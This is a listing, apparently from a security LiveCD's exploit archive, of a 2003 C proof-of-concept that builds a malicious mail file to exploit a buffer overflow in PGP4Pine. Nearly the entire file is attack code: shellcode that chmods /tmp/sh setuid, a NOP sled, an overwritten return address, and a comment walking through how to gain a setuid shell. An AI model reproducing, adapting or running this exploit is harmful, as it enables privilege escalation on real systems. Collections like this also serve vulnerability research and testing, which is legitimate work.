home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pine / mailex-gen.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  99 lines

  1.  
  2. /* 
  3.  *  mailex-gen.c -- PGP4Pine exploit mail generator - proof of concept 
  4.  *  Copyright (C) 2003 - Eric AUGE
  5.  *  
  6.  *   This program is free software; you can redistribute it and/or
  7.  *   modify it under the terms of the GNU General Public License
  8.  *   as published by the Free Software Foundation; either version 2 of
  9.  *   the License or (at your option) any later version.
  10.  *
  11.  *   This program is distributed in the hope that it will be
  12.  *   useful, but WITHOUT ANY WARRANTY; without even the implied
  13.  *   warranty
  14.  *   of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  15.  *   GNU General Public License for more details.
  16.  *
  17.  *   You should have received a copy of the GNU General Public
  18.  *   License
  19.  *   along with this program; if not, write to the Free Software
  20.  *   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
  21.  *   02111-1307
  22.  *   USA
  23.  *
  24.  * how poc code works : 
  25.  *   $ cp /bin/sh /tmp/sh
  26.  *   $ ls -l /tmp/sh
  27.  *   -rwxr-x---    1 rival    users      680304 Mar 12 15:17 /tmp/sh
  28.  *   $ ./mailex-gen
  29.  *   eip (i use readline[] addr): 0xbfffdbd0
  30.  *   now type: /path/to/pgp4pine-vuln -d -i ./mailme
  31.  *   $ /path/to/pgp4pine-vuln -d -i ./mailme
  32.  *   $ ls -l /tmp/sh
  33.  *   -rwsr-xr-x    1 rival    users      680304 Mar 12 15:17 /tmp/sh
  34.  *
  35.  *
  36.  *   Eric AUGE <eauge@fr.cw.net>
  37.  *
  38.  */
  39.  
  40. /* 
  41.  * NOTE: EIP is hardcoded regarding my own system and tests,
  42.  *       tune it for your needs ;)
  43.  */
  44.  
  45. #include <stdio.h>
  46. #include <stdlib.h>
  47. #include <unistd.h>
  48. #include <string.h>
  49. #include <sys/types.h>
  50. #include <sys/stat.h>
  51. #include <fcntl.h>
  52.  
  53. #define MAXLINESIZE 301
  54. #define SAVED_EIP 0xbfffdbd0
  55. #define NOP 0x90
  56. #define ALIGN 0
  57. #define XFILE "mailme"
  58.  
  59. /* quick made chown 4755 /tmp/sh */
  60. unsigned char shellcode[] = 
  61. "\xeb\x14\x31\xc0\x34\x0f\x5b\x31\xc9\x66\xb9\xed\x09\xcd\x80"
  62. "\x31\xc0\x40\x89\xc3\xcd\x80\xe8\xe7\xff\xff\xff/tmp/sh";
  63.  
  64. int main(int argc, char **argv) {
  65.  
  66.     int i,_sc_size,fd;
  67.     unsigned char buffer[MAXLINESIZE] = "\0";
  68.     long *ptr;
  69.     char *cptr;
  70.  
  71.     _sc_size = sizeof(shellcode);
  72.  
  73.     ptr = (long *) &buffer;
  74.     fprintf(stderr,"eip (i use readline[] addr): %p\n", SAVED_EIP);
  75.     for (i = 0; i < MAXLINESIZE ; i += 4) {
  76.     *ptr++ = SAVED_EIP;
  77.     }
  78.  
  79.     cptr = (char *) &buffer;
  80.     cptr = cptr + MAXLINESIZE - 45 - _sc_size;
  81.  
  82.     for ( i = 0; i < _sc_size ; i++ )
  83.     *cptr++ = shellcode[i];
  84.  
  85.     for ( cptr = (char *) &buffer ; cptr < ((char *)buffer + MAXLINESIZE - 45 - _sc_size) ; cptr++)
  86.     *cptr = NOP;
  87.  
  88.     /* now lets create the file */
  89.     if ( (fd = open(XFILE, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU|S_IRGRP|S_IROTH)) == -1) {
  90.     fprintf (stderr,"open() failed!\n");
  91.     exit(1);
  92.     }
  93.     write(fd,&buffer,sizeof(buffer));
  94.     close(fd);
  95.     fprintf(stderr,"now type: /path/to/pgp4pine-vuln -d -i ./mailme\n");
  96.     
  97.     return (0);
  98. }
  99.